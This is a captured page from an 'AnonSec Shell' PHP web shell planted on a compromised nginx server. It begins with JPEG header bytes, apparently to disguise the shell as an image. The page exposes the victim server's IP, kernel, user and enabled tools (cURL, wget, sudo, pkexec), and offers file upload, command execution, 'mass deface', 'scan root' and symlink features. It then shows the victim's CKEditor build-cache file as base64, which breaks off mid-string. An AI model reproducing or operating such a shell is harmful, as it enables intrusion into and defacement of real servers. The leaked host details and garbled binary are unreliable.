JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/comcon24/cms/node_modules/.cache/babel-loader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/comcon24/cms/node_modules/.cache/babel-loader/1ae98e09ec473a679b978fb2a0a76802.json
{"remainingRequest":"/var/app/comcon24/cms/node_modules/thread-loader/dist/cjs.js!/var/app/comcon24/cms/node_modules/babel-loader/lib/index.js!/var/app/comcon24/cms/src/assets/js/ckeditor/custom-build-classic/ckeditor5/build/ckeditor.js","dependencies":[{"path":"/var/app/comcon24/cms/src/assets/js/ckeditor/custom-build-classic/ckeditor5/build/ckeditor.js","mtime":1729482070560},{"path":"/var/app/comcon24/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/comcon24/cms/node_modules/thread-loader/dist/cjs.js","mtime":1727535780458},{"path":"/var/app/comcon24/cms/node_modules/babel-loader/lib/index.js","mtime":1729482259283}],"contextDependencies":[],"result":[{"type":"Buffer","data":"base64:LyohCiAqIEBsaWNlbnNlIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLgogKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZC4KICovCihmdW5jdGlvbih0KXtjb25zdCBlPXRbImVuIl09dFsiZW4iXXx8e307ZS5kaWN0aW9uYXJ5PU9iamVjdC5hc3NpZ24oZS5kaWN0aW9uYXJ5fHx7fSx7IiUwIG9mICUxIjoiJTAgb2YgJTEiLCJBbGlnbiBjZW50ZXIiOiJBbGlnbiBjZW50ZXIiLCJBbGlnbiBsZWZ0IjoiQWxpZ24gbGVmdCIsIkFsaWduIHJpZ2h0IjoiQWxpZ24gcmlnaHQiLCJCbG9jayBxdW90ZSI6IkJsb2NrIHF1b3RlIixCb2xkOiJCb2xkIiwiQnVsbGV0ZWQgTGlzdCI6IkJ1bGxldGVkIExpc3QiLENhbmNlbDoiQ2FuY2VsIiwiQ2VudGVyZWQgaW1hZ2UiOiJDZW50ZXJlZCBpbWFnZSIsIkNoYW5nZSBpbWFnZSB0ZXh0IGFsdGVybmF0aXZlIjoiQ2hhbmdlIGltYWdlIHRleHQgYWx0ZXJuYXRpdmUiLCJDaG9vc2UgaGVhZGluZyI6IkNob29zZSBoZWFkaW5nIixDb2x1bW46IkNvbHVtbiIsIkRlY3JlYXNlIGluZGVudCI6IkRlY3JlYXNlIGluZGVudCIsIkRlbGV0ZSBjb2x1bW4iOiJEZWxldGUgY29sdW1uIiwiRGVsZXRlIHJvdyI6IkRlbGV0ZSByb3ciLERvd25sb2FkYWJsZToiRG93bmxvYWRhYmxlIiwiRHJvcGRvd24gdG9vbGJhciI6IkRyb3Bkb3duIHRvb2xiYXIiLCJFZGl0IGxpbmsiOiJFZGl0IGxpbmsiLCJFZGl0b3IgdG9vbGJhciI6IkVkaXRvciB0b29sYmFyIiwiRW50ZXIgaW1hZ2UgY2FwdGlvbiI6IkVudGVyIGltYWdlIGNhcHRpb24iLCJGdWxsIHNpemUgaW1hZ2UiOiJGdWxsIHNpemUgaW1hZ2UiLCJIZWFkZXIgY29sdW1uIjoiSGVhZGVyIGNvbHVtbiIsIkhlYWRlciByb3ciOiJIZWFkZXIgcm93IixIZWFkaW5nOiJIZWFkaW5nIiwiSGVhZGluZyAxIjoiSGVhZGluZyAxIiwiSGVhZGluZyAyIjoiSGVhZGluZyAyIiwiSGVhZGluZyAzIjoiSGVhZGluZyAzIiwiSGVhZGluZyA0IjoiSGVhZGluZyA0IiwiSGVhZGluZyA1IjoiSGVhZGluZyA1IiwiSGVhZGluZyA2IjoiSGVhZGluZyA2IiwiSW1hZ2UgcmVzaXplIGxpc3QiOiJJbWFnZSByZXNpemUgbGlzdCIsIkltYWdlIHRvb2xiYXIiOiJJbWFnZSB0b29sYmFyIiwiaW1hZ2Ugd2lkZ2V0IjoiaW1hZ2Ugd2lkZ2V0IiwiSW5jcmVhc2UgaW5kZW50IjoiSW5jcmVhc2UgaW5kZW50IiwiSW5zZXJ0IGNvbHVtbiBsZWZ0IjoiSW5zZXJ0IGNvbHVtbiBsZWZ0IiwiSW5zZXJ0IGNvbHVtbiByaWdodCI6Ikluc2VydCBjb2x1bW4gcmlnaHQiLCJJbnNlcnQgaW1hZ2UiOiJJbnNlcnQgaW1hZ2UiLCJJbnNlcnQgbWVkaWEiOiJJbnNlcnQgbWVkaWEiLCJJbnNlcnQgcGFyYWdyYXBoIGFmdGVyIGJsb2NrIjoiSW5zZXJ0IHBhcmFncmFwaCBhZnRlciBibG9jayIsIkluc2VydCBwYXJhZ3JhcGggYmVmb3JlIGJsb2NrIjoiSW5zZXJ0IHBhcmFncmFwaCBiZWZvcmUgYmxvY2siLCJJbnNlcnQgcm93IGFib3ZlIjoiSW5zZXJ0IHJvdyBhYm92ZSIsIkluc2VydCByb3cgYmVsb3ciOiJJbnNlcnQgcm93IGJlbG93IiwiSW5zZXJ0IHRhYmxlIjoiSW5zZXJ0IHRhYmxlIixJdGFsaWM6Ikl0YWxpYyIsSnVzdGlmeToiSnVzdGlmeSIsIkxlZnQgYWxpZ25lZCBpbWFnZSI6IkxlZnQgYWxpZ25lZCBpbWFnZSIsTGluazoiTGluayIsIkxpbmsgVVJMIjoiTGluayBVUkwiLCJNZWRpYSBVUkwiOiJNZWRpYSBVUkwiLCJtZWRpYSB3aWRnZXQiOiJtZWRpYSB3aWRnZXQiLCJNZXJnZSBjZWxsIGRvd24iOiJNZXJnZSBjZWxsIGRvd24iLCJNZXJnZSBjZWxsIGxlZnQiOiJNZXJnZSBjZWxsIGxlZnQiLCJNZXJnZSBjZWxsIHJpZ2h0IjoiTWVyZ2UgY2VsbCByaWdodCIsIk1lcmdlIGNlbGwgdXAiOiJNZXJnZSBjZWxsIHVwIiwiTWVyZ2UgY2VsbHMiOiJNZXJnZSBjZWxscyIsTmV4dDoiTmV4dCIsIk51bWJlcmVkIExpc3QiOiJOdW1iZXJlZCBMaXN0IiwiT3BlbiBpbiBhIG5ldyB0YWIiOiJPcGVuIGluIGEgbmV3IHRhYiIsIk9wZW4gbGluayBpbiBuZXcgdGFiIjoiT3BlbiBsaW5rIGluIG5ldyB0YWIiLE9yaWdpbmFsOiJPcmlnaW5hbCIsUGFyYWdyYXBoOiJQYXJhZ3JhcGgiLCJQYXN0ZSB0aGUgbWVkaWEgVVJMIGluIHRoZSBpbnB1dC4iOiJQYXN0ZSB0aGUgbWVkaWEgVVJMIGluIHRoZSBpbnB1dC4iLFByZXZpb3VzOiJQcmV2aW91cyIsUmVkbzoiUmVkbyIsIlJlc2l6ZSBpbWFnZSI6IlJlc2l6ZSBpbWFnZSIsIlJlc2l6ZSBpbWFnZSB0byAlMCI6IlJlc2l6ZSBpbWFnZSB0byAlMCIsIlJlc2l6ZSBpbWFnZSB0byB0aGUgb3JpZ2luYWwgc2l6ZSI6IlJlc2l6ZSBpbWFnZSB0byB0aGUgb3JpZ2luYWwgc2l6ZSIsIlJpY2ggVGV4dCBFZGl0b3IiOiJSaWNoIFRleHQgRWRpdG9yIiwiUmljaCBUZXh0IEVkaXRvciwgJTAiOiJSaWNoIFRleHQgRWRpdG9yLCAlMCIsIlJpZ2h0IGFsaWduZWQgaW1hZ2UiOiJSaWdodCBhbGlnbmVkIGltYWdlIixSb3c6IlJvdyIsU2F2ZToiU2F2ZSIsIlNlbGVjdCBhbGwiOiJTZWxlY3QgYWxsIiwiU2VsZWN0IGNvbHVtbiI6IlNlbGVjdCBjb2x1bW4iLCJTZWxlY3Qgcm93IjoiU2VsZWN0IHJvdyIsIlNob3cgbW9yZSBpdGVtcyI6IlNob3cgbW9yZSBpdGVtcyIsIlNpZGUgaW1hZ2UiOiJTaWRlIGltYWdlIiwiU3BsaXQgY2VsbCBob3Jpem9udGFsbHkiOiJTcGxpdCBjZWxsIGhvcml6b250YWxseSIsIlNwbGl0IGNlbGwgdmVydGljYWxseSI6IlNwbGl0IGNlbGwgdmVydGljYWxseSIsIlRhYmxlIHRvb2xiYXIiOiJUYWJsZSB0b29sYmFyIiwiVGV4dCBhbGlnbm1lbnQiOiJUZXh0IGFsaWdubWVudCIsIlRleHQgYWxpZ25tZW50IHRvb2xiYXIiOiJUZXh0IGFsaWdubWVudCB0b29sYmFyIiwiVGV4dCBhbHRlcm5hdGl2ZSI6IlRleHQgYWx0ZXJuYXRpdmUiLCJUaGUgVVJMIG11c3Qgbm90IGJlIGVtcHR5LiI6IlRoZSBVUkwgbXVzdCBub3QgYmUgZW1wdHkuIiwiVGhpcyBsaW5rIGhhcyBubyBVUkwiOiJUaGlzIGxpbmsgaGFzIG5vIFVSTCIsIlRoaXMgbWVkaWEgVVJMIGlzIG5vdCBzdXBwb3J0ZWQuIjoiVGhpcyBtZWRpYSBVUkwgaXMgbm90IHN1cHBvcnRlZC4iLCJUaXA6IFBhc3RlIHRoZSBVUkwgaW50byB0aGUgY29udGVudCB0byBlbWJlZCBmYXN0ZXIuIjoiVGlwOiBQYXN0ZSB0aGUgVVJMIGludG8gdGhlIGNvbnRlbnQgdG8gZW1iZWQgZmFzdGVyLiIsVW5kbzoiVW5kbyIsVW5saW5rOiJVbmxpbmsiLCJVcGxvYWQgZmFpbGVkIjoiVXBsb2FkIGZhaWxlZCIsIlVwbG9hZCBpbiBwcm9ncmVzcyI6IlVwbG9hZCBpbiBwcm9ncmVzcyIsIldpZGdldCB0b29sYmFyIjoiV2lkZ2V0IHRvb2xiYXIifSl9KSh3aW5kb3cuQ0tFRElUT1JfVFJBTlNMQVRJT05TfHwod2luZG93LkNLRURJVE9SX1RSQU5TTEFUSU9OUz17fSkpOyhmdW5jdGlvbiB0KGUsbil7aWYodHlwZW9mIGV4cG9ydHM9PT0ib2JqZWN0IiYmdHlwZW9mIG1vZHVsZT09PSJvYmplY3QiKW1vZHVsZS5leHBvcnRzPW4oKTtlbHNlIGlmKHR5cGVvZiBkZWZpbmU9PT0iZnVuY3Rpb24iJiZkZWZpbmUuYW1kKWRlZmluZShbXSxuKTtlbHNlIGlmKHR5cGVvZiBleHBvcnRzPT09Im9iamVjdCIpZXhwb3J0c1siQ2xhc3NpY0VkaXRvciJdPW4oKTtlbHNlIGVbIkNsYXNzaWNFZGl0b3IiXT1uKCl9KSh3aW5kb3csKGZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKHQpe3ZhciBlPXt9O2Z1bmN0aW9uIG4oaSl7aWYoZVtpXSl7cmV0dXJuIGVbaV0uZXhwb3J0c312YXIgbz1lW2ldPXtpOmksbDpmYWxzZSxleHBvcnRzOnt9fTt0W2ldLmNhbGwoby5leHBvcnRzLG8sby5leHBvcnRzLG4pO28ubD10cnVlO3JldHVybiBvLmV4cG9ydHN9bi5tPXQ7bi5jPWU7bi5kPWZ1bmN0aW9uKHQsZSxpKXtpZighbi5vKHQsZSkpe09iamVjdC5kZWZpbmVQcm9wZXJ0eSh0LGUse2VudW1lcmFibGU6dHJ1ZSxnZXQ6aX0pfX07bi5yPWZ1bmN0aW9uKHQpe2lmKHR5cGVvZiBTeW1ib2whPT0idW5kZWZpbmVkIiYmU3ltYm9sLnRvU3RyaW5nVGFnKXtPYmplY3QuZGVmaW5lUHJvcGVydHkodCxTeW1ib2wudG9TdHJpbmdUYWcse3ZhbHVlOiJNb2R1bGUifSl9T2JqZWN0LmRlZmluZVByb3BlcnR5KHQsIl9fZXNNb2R1bGUiLHt2YWx1ZTp0cnVlfSl9O24udD1mdW5jdGlvbih0LGUpe2lmKGUmMSl0PW4odCk7aWYoZSY4KXJldHVybiB0O2lmKGUmNCYmdHlwZW9mIHQ9PT0ib2JqZWN0IiYmdCYmdC5fX2VzTW9kdWxlKXJldHVybiB0O3ZhciBpPU9iamVjdC5jcmVhdGUobnVsbCk7bi5yKGkpO09iamVjdC5kZWZpbmVQcm9wZXJ0eShpLCJkZWZhdWx0Iix7ZW51bWVyYWJsZTp0cnVlLHZhbHVlOnR9KTtpZihlJjImJnR5cGVvZiB0IT0ic3RyaW5nIilmb3IodmFyIG8gaW4gdCluLmQoaSxvLGZ1bmN0aW9uKGUpe3JldHVybiB0W2VdfS5iaW5kKG51bGwsbykpO3JldHVybiBpfTtuLm49ZnVuY3Rpb24odCl7dmFyIGU9dCYmdC5fX2VzTW9kdWxlP2Z1bmN0aW9uIGUoKXtyZXR1cm4gdFsiZGVmYXVsdCJdfTpmdW5jdGlvbiBlKCl7cmV0dXJuIHR9O24uZChlLCJhIixlKTtyZXR1cm4gZX07bi5vPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbCh0LGUpfTtuLnA9IiI7cmV0dXJuIG4obi5zPTU5KX0oW2Z1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7bi5kKGUsImEiLChmdW5jdGlvbigpe3JldHVybiBvfSkpO24uZChlLCJjIiwoZnVuY3Rpb24oKXtyZXR1cm4gcn0pKTtuLmQoZSwiYiIsKGZ1bmN0aW9uKCl7cmV0dXJuIHN9KSk7Y29uc3QgaT0iaHR0cHM6Ly9ja2VkaXRvci5jb20vZG9jcy9ja2VkaXRvcjUvbGF0ZXN0L2ZyYW1ld29yay9ndWlkZXMvc3VwcG9ydC9lcnJvci1jb2Rlcy5odG1sIjtjbGFzcyBvIGV4dGVuZHMgRXJyb3J7Y29uc3RydWN0b3IodCxlLG4pe2NvbnN0IGk9YCR7dH0ke24/YCAke0pTT04uc3RyaW5naWZ5KG4pfWA6IiJ9JHthKHQpfWA7c3VwZXIoaSk7dGhpcy5uYW1lPSJDS0VkaXRvckVycm9yIjt0aGlzLmNvbnRleHQ9ZTt0aGlzLmRhdGE9bn1pcyh0KXtyZXR1cm4gdD09PSJDS0VkaXRvckVycm9yIn1zdGF0aWMgcmV0aHJvd1VuZXhwZWN0ZWRFcnJvcih0LGUpe2lmKHQuaXMmJnQuaXMoIkNLRWRpdG9yRXJyb3IiKSl7dGhyb3cgdH1jb25zdCBuPW5ldyBvKHQubWVzc2FnZSxlKTtuLnN0YWNrPXQuc3RhY2s7dGhyb3cgbn19ZnVuY3Rpb24gcih0LGUpe2NvbnNvbGUud2FybiguLi5jKHQsZSkpfWZ1bmN0aW9uIHModCxlKXtjb25zb2xlLmVycm9yKC4uLmModCxlKSl9ZnVuY3Rpb24gYSh0KXtyZXR1cm5gXG5SZWFkIG1vcmU6ICR7aX0jZXJyb3ItJHt0fWB9ZnVuY3Rpb24gYyh0LGUpe2NvbnN0IG49YSh0KTtyZXR1cm4gZT9bdCxlLG5dOlt0LG5dfX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1mdW5jdGlvbiB0KCl7dmFyIGU7cmV0dXJuIGZ1bmN0aW9uIHQoKXtpZih0eXBlb2YgZT09PSJ1bmRlZmluZWQiKXtlPUJvb2xlYW4od2luZG93JiZkb2N1bWVudCYmZG9jdW1lbnQuYWxsJiYhd2luZG93LmF0b2IpfXJldHVybiBlfX0oKTt2YXIgbz1mdW5jdGlvbiB0KCl7dmFyIGU9e307cmV0dXJuIGZ1bmN0aW9uIHQobil7aWYodHlwZW9mIGVbbl09PT0idW5kZWZpbmVkIil7dmFyIGk9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcihuKTtpZih3aW5kb3cuSFRNTElGcmFtZUVsZW1lbnQmJmkgaW5zdGFuY2VvZiB3aW5kb3cuSFRNTElGcmFtZUVsZW1lbnQpe3RyeXtpPWkuY29udGVudERvY3VtZW50LmhlYWR9Y2F0Y2godCl7aT1udWxsfX1lW25dPWl9cmV0dXJuIGVbbl19fSgpO3ZhciByPVtdO2Z1bmN0aW9uIHModCl7dmFyIGU9LTE7Zm9yKHZhciBuPTA7bjxyLmxlbmd0aDtuKyspe2lmKHJbbl0uaWRlbnRpZmllcj09PXQpe2U9bjticmVha319cmV0dXJuIGV9ZnVuY3Rpb24gYSh0LGUpe3ZhciBuPXt9O3ZhciBpPVtdO2Zvcih2YXIgbz0wO288dC5sZW5ndGg7bysrKXt2YXIgYT10W29dO3ZhciBjPWUuYmFzZT9hWzBdK2UuYmFzZTphWzBdO3ZhciBsPW5bY118fDA7dmFyIGQ9IiIuY29uY2F0KGMsIiAiKS5jb25jYXQobCk7bltjXT1sKzE7dmFyIHU9cyhkKTt2YXIgaD17Y3NzOmFbMV0sbWVkaWE6YVsyXSxzb3VyY2VNYXA6YVszXX07aWYodSE9PS0xKXtyW3VdLnJlZmVyZW5jZXMrKztyW3VdLnVwZGF0ZXIoaCl9ZWxzZXtyLnB1c2goe2lkZW50aWZpZXI6ZCx1cGRhdGVyOmcoaCxlKSxyZWZlcmVuY2VzOjF9KX1pLnB1c2goZCl9cmV0dXJuIGl9ZnVuY3Rpb24gYyh0KXt2YXIgZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzdHlsZSIpO3ZhciBpPXQuYXR0cmlidXRlc3x8e307aWYodHlwZW9mIGkubm9uY2U9PT0idW5kZWZpbmVkIil7dmFyIHI9dHJ1ZT9uLm5jOnVuZGVmaW5lZDtpZihyKXtpLm5vbmNlPXJ9fU9iamVjdC5rZXlzKGkpLmZvckVhY2goKGZ1bmN0aW9uKHQpe2Uuc2V0QXR0cmlidXRlKHQsaVt0XSl9KSk7aWYodHlwZW9mIHQuaW5zZXJ0PT09ImZ1bmN0aW9uIil7dC5pbnNlcnQoZSl9ZWxzZXt2YXIgcz1vKHQuaW5zZXJ0fHwiaGVhZCIpO2lmKCFzKXt0aHJvdyBuZXcgRXJyb3IoIkNvdWxkbid0IGZpbmQgYSBzdHlsZSB0YXJnZXQuIFRoaXMgcHJvYmFibHkgbWVhbnMgdGhhdCB0aGUgdmFsdWUgZm9yIHRoZSAnaW5zZXJ0JyBwYXJhbWV0ZXIgaXMgaW52YWxpZC4iKX1zLmFwcGVuZENoaWxkKGUpfXJldHVybiBlfWZ1bmN0aW9uIGwodCl7aWYodC5wYXJlbnROb2RlPT09bnVsbCl7cmV0dXJuIGZhbHNlfXQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0KX12YXIgZD1mdW5jdGlvbiB0KCl7dmFyIGU9W107cmV0dXJuIGZ1bmN0aW9uIHQobixpKXtlW25dPWk7cmV0dXJuIGUuZmlsdGVyKEJvb2xlYW4pLmpvaW4oIlxuIil9fSgpO2Z1bmN0aW9uIHUodCxlLG4saSl7dmFyIG89bj8iIjppLm1lZGlhPyJAbWVkaWEgIi5jb25jYXQoaS5tZWRpYSwiIHsiKS5jb25jYXQoaS5jc3MsIn0iKTppLmNzcztpZih0LnN0eWxlU2hlZXQpe3Quc3R5bGVTaGVldC5jc3NUZXh0PWQoZSxvKX1lbHNle3ZhciByPWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG8pO3ZhciBzPXQuY2hpbGROb2RlcztpZihzW2VdKXt0LnJlbW92ZUNoaWxkKHNbZV0pfWlmKHMubGVuZ3RoKXt0Lmluc2VydEJlZm9yZShyLHNbZV0pfWVsc2V7dC5hcHBlbmRDaGlsZChyKX19fWZ1bmN0aW9uIGgodCxlLG4pe3ZhciBpPW4uY3NzO3ZhciBvPW4ubWVkaWE7dmFyIHI9bi5zb3VyY2VNYXA7aWYobyl7dC5zZXRBdHRyaWJ1dGUoIm1lZGlhIixvKX1lbHNle3QucmVtb3ZlQXR0cmlidXRlKCJtZWRpYSIpfWlmKHImJnR5cGVvZiBidG9hIT09InVuZGVmaW5lZCIpe2krPSJcbi8qIyBzb3VyY2VNYXBwaW5nVVJMPWRhdGE6YXBwbGljYXRpb24vanNvbjtiYXNlNjQsIi5jb25jYXQoYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoSlNPTi5zdHJpbmdpZnkocikpKSksIiAqLyIpfWlmKHQuc3R5bGVTaGVldCl7dC5zdHlsZVNoZWV0LmNzc1RleHQ9aX1lbHNle3doaWxlKHQuZmlyc3RDaGlsZCl7dC5yZW1vdmVDaGlsZCh0LmZpcnN0Q2hpbGQpfXQuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlVGV4dE5vZGUoaSkpfX12YXIgZj1udWxsO3ZhciBtPTA7ZnVuY3Rpb24gZyh0LGUpe3ZhciBuO3ZhciBpO3ZhciBvO2lmKGUuc2luZ2xldG9uKXt2YXIgcj1tKys7bj1mfHwoZj1jKGUpKTtpPXUuYmluZChudWxsLG4scixmYWxzZSk7bz11LmJpbmQobnVsbCxuLHIsdHJ1ZSl9ZWxzZXtuPWMoZSk7aT1oLmJpbmQobnVsbCxuLGUpO289ZnVuY3Rpb24gdCgpe2wobil9fWkodCk7cmV0dXJuIGZ1bmN0aW9uIGUobil7aWYobil7aWYobi5jc3M9PT10LmNzcyYmbi5tZWRpYT09PXQubWVkaWEmJm4uc291cmNlTWFwPT09dC5zb3VyY2VNYXApe3JldHVybn1pKHQ9bil9ZWxzZXtvKCl9fX10LmV4cG9ydHM9ZnVuY3Rpb24odCxlKXtlPWV8fHt9O2lmKCFlLnNpbmdsZXRvbiYmdHlwZW9mIGUuc2luZ2xldG9uIT09ImJvb2xlYW4iKXtlLnNpbmdsZXRvbj1pKCl9dD10fHxbXTt2YXIgbj1hKHQsZSk7cmV0dXJuIGZ1bmN0aW9uIHQoaSl7aT1pfHxbXTtpZihPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwoaSkhPT0iW29iamVjdCBBcnJheV0iKXtyZXR1cm59Zm9yKHZhciBvPTA7bzxuLmxlbmd0aDtvKyspe3ZhciBjPW5bb107dmFyIGw9cyhjKTtyW2xdLnJlZmVyZW5jZXMtLX12YXIgZD1hKGksZSk7Zm9yKHZhciB1PTA7dTxuLmxlbmd0aDt1Kyspe3ZhciBoPW5bdV07dmFyIGY9cyhoKTtpZihyW2ZdLnJlZmVyZW5jZXM9PT0wKXtyW2ZdLnVwZGF0ZXIoKTtyLnNwbGljZShmLDEpfX1uPWR9fX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBpKHQsZSl7cmV0dXJuIGModCl8fGEodCxlKXx8cih0LGUpfHxvKCl9ZnVuY3Rpb24gbygpe3Rocm93IG5ldyBUeXBlRXJyb3IoIkludmFsaWQgYXR0ZW1wdCB0byBkZXN0cnVjdHVyZSBub24taXRlcmFibGUgaW5zdGFuY2UuXG5JbiBvcmRlciB0byBiZSBpdGVyYWJsZSwgbm9uLWFycmF5IG9iamVjdHMgbXVzdCBoYXZlIGEgW1N5bWJvbC5pdGVyYXRvcl0oKSBtZXRob2QuIil9ZnVuY3Rpb24gcih0LGUpe2lmKCF0KXJldHVybjtpZih0eXBlb2YgdD09PSJzdHJpbmciKXJldHVybiBzKHQsZSk7dmFyIG49T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKHQpLnNsaWNlKDgsLTEpO2lmKG49PT0iT2JqZWN0IiYmdC5jb25zdHJ1Y3RvciluPXQuY29uc3RydWN0b3IubmFtZTtpZihuPT09Ik1hcCJ8fG49PT0iU2V0IilyZXR1cm4gQXJyYXkuZnJvbSh0KTtpZihuPT09IkFyZ3VtZW50cyJ8fC9eKD86VWl8SSludCg/Ojh8MTZ8MzIpKD86Q2xhbXBlZCk/QXJyYXkkLy50ZXN0KG4pKXJldHVybiBzKHQsZSl9ZnVuY3Rpb24gcyh0LGUpe2lmKGU9PW51bGx8fGU+dC5sZW5ndGgpZT10Lmxlbmd0aDtmb3IodmFyIG49MCxpPW5ldyBBcnJheShlKTtuPGU7bisrKXtpW25dPXRbbl19cmV0dXJuIGl9ZnVuY3Rpb24gYSh0LGUpe2lmKHR5cGVvZiBTeW1ib2w9PT0idW5kZWZpbmVkInx8IShTeW1ib2wuaXRlcmF0b3IgaW4gT2JqZWN0KHQpKSlyZXR1cm47dmFyIG49W107dmFyIGk9dHJ1ZTt2YXIgbz1mYWxzZTt2YXIgcj11bmRlZmluZWQ7dHJ5e2Zvcih2YXIgcz10W1N5bWJvbC5pdGVyYXRvcl0oKSxhOyEoaT0oYT1zLm5leHQoKSkuZG9uZSk7aT10cnVlKXtuLnB1c2goYS52YWx1ZSk7aWYoZSYmbi5sZW5ndGg9PT1lKWJyZWFrfX1jYXRjaCh0KXtvPXRydWU7cj10fWZpbmFsbHl7dHJ5e2lmKCFpJiZzWyJyZXR1cm4iXSE9bnVsbClzWyJyZXR1cm4iXSgpfWZpbmFsbHl7aWYobyl0aHJvdyByfX1yZXR1cm4gbn1mdW5jdGlvbiBjKHQpe2lmKEFycmF5LmlzQXJyYXkodCkpcmV0dXJuIHR9dC5leHBvcnRzPWZ1bmN0aW9uIHQoZSl7dmFyIG49aShlLDQpLG89blsxXSxyPW5bM107aWYodHlwZW9mIGJ0b2E9PT0iZnVuY3Rpb24iKXt2YXIgcz1idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChKU09OLnN0cmluZ2lmeShyKSkpKTt2YXIgYT0ic291cmNlTWFwcGluZ1VSTD1kYXRhOmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD11dGYtODtiYXNlNjQsIi5jb25jYXQocyk7dmFyIGM9Ii8qIyAiLmNvbmNhdChhLCIgKi8iKTt2YXIgbD1yLnNvdXJjZXMubWFwKChmdW5jdGlvbih0KXtyZXR1cm4iLyojIHNvdXJjZVVSTD0iLmNvbmNhdChyLnNvdXJjZVJvb3R8fCIiKS5jb25jYXQodCwiICovIil9KSk7cmV0dXJuW29dLmNvbmNhdChsKS5jb25jYXQoW2NdKS5qb2luKCJcbiIpfXJldHVybltvXS5qb2luKCJcbiIpfX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt0LmV4cG9ydHM9ZnVuY3Rpb24odCl7dmFyIGU9W107ZS50b1N0cmluZz1mdW5jdGlvbiBlKCl7cmV0dXJuIHRoaXMubWFwKChmdW5jdGlvbihlKXt2YXIgbj10KGUpO2lmKGVbMl0pe3JldHVybiJAbWVkaWEgIi5jb25jYXQoZVsyXSwiIHsiKS5jb25jYXQobiwifSIpfXJldHVybiBufSkpLmpvaW4oIiIpfTtlLmk9ZnVuY3Rpb24odCxuLGkpe2lmKHR5cGVvZiB0PT09InN0cmluZyIpe3Q9W1tudWxsLHQsIiJdXX12YXIgbz17fTtpZihpKXtmb3IodmFyIHI9MDtyPHRoaXMubGVuZ3RoO3IrKyl7dmFyIHM9dGhpc1tyXVswXTtpZihzIT1udWxsKXtvW3NdPXRydWV9fX1mb3IodmFyIGE9MD